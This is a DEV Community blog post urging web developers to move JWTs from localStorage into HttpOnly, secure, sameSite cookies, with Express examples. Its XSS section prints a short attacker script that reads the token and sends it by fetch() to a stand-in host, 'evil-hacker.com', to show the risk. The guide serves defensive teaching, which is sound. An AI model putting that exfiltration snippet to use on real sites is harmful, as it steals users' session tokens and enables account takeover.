DEV Community

Cover image for Stop Storing JWTs in localStorage: A Security Guide for Web Developers
Damilola Owolabi
Damilola Owolabi

Posted on

Stop Storing JWTs in localStorage: A Security Guide for Web Developers

When I first learned about JSON Web Tokens (JWTs), I thought I had authentication figured out. The tutorial showed me this simple line:

localStorage.setItem('token', jwt);
Enter fullscreen mode Exit fullscreen mode

If you're currently storing tokens this way, don't worry, most tutorials teach this approach. But once you understand the risk, there's a much safer way to handle it. Let's break it down together.

What Is a JWT, Really?

Think of a JWT as a temporary ID badge. When you log in, the server gives you this badge. You show it on every request to prove who you are.

The badge contains three parts:

  • Header: What type of badge it is
  • Payload: Your user ID, permissions, expiration time
  • Signature: Proof the badge is genuine (created by the server)

Here's what a JWT looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjM0NSIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMe...
Enter fullscreen mode Exit fullscreen mode

That long string is your key to the application. If someone steals it, they can pretend to be you. That's why where you store it matters so much.

The Hidden Danger: XSS Attacks

Imagine someone leaves a malicious comment on your favorite blog. The comment looks normal, but hidden inside is JavaScript code. When your browser loads the page, that code runs, and because it's on the same website, it has full access to everything.

This is called Cross-Site Scripting (XSS), and it's one of the most common web vulnerabilities.

Here's what that malicious code might look like:

// Attacker's script running on your page
const stolenToken = localStorage.getItem('token');

// Send it to the attacker's server
fetch('https://evil-hacker.com/collect?token=' + stolenToken);
Enter fullscreen mode Exit fullscreen mode

In one line, your authentication token is gone. The attacker now has full access to your account until the token expires or you change your password.

The scary part? You might never know it happened. There's no visible sign. No error message. Just a silent theft of your identity.

localStorage has no built-in security features: It's like keeping your house key under a doormat that says "key here." Convenient for you, but just as convenient for anyone else looking.

The Safer Alternative: HttpOnly Cookies
Instead of storing the token where JavaScript can reach it, let's store it where the browser protects it automatically.

When your server sends the JWT, it sets a cookie with special flags:

// This happens on your server (Node.js/Express example)
res.cookie('token', jwt, {
  httpOnly: true,     // JavaScript cannot read this
  secure: true,       // Only sent over HTTPS connections
  sameSite: 'strict', // Only sent to your website
  maxAge: 3600000     // Expires in 1 hour
});
Enter fullscreen mode Exit fullscreen mode

What changes for you as a developer?

Actually, things get simpler. The browser handles everything:

// Before: manually attaching tokens
const token = localStorage.getItem('token');
fetch('/api/profile', {
  headers: { 'Authorization': `Bearer ${token}` }
});

// After: browser sends the cookie automatically
fetch('/api/profile'); // That's it!
Enter fullscreen mode Exit fullscreen mode

No manual retrieval. No header management. Just secure, automatic authentication.

So When Can I Use localStorage?

localStorage isn't evil, it's just the wrong tool for authentication. Use it for things that don't need protection, e.g., theme preference (dark/light mode), UI state (sidebar open/closed), etc

Rule of thumb: If losing the data would compromise someone's account, don't put it in localStorage.

The Bottom Line

// What tutorials taught you
localStorage.setItem('token', jwt);

// What keeps your users safe
res.cookie('token', jwt, { 
  httpOnly: true, 
  secure: true, 
  sameSite: 'strict' 
});
Enter fullscreen mode Exit fullscreen mode

Authentication is about trust. Your users trust you with their data. Storing tokens securely is one of the simplest ways to honor that trust.

You don't need to be a security expert to make this change. You just need to know the difference, and now you do.

What's your current authentication setup? Have you run into issues migrating from localStorage to cookies? Share your experience in the comments.

Top comments (0)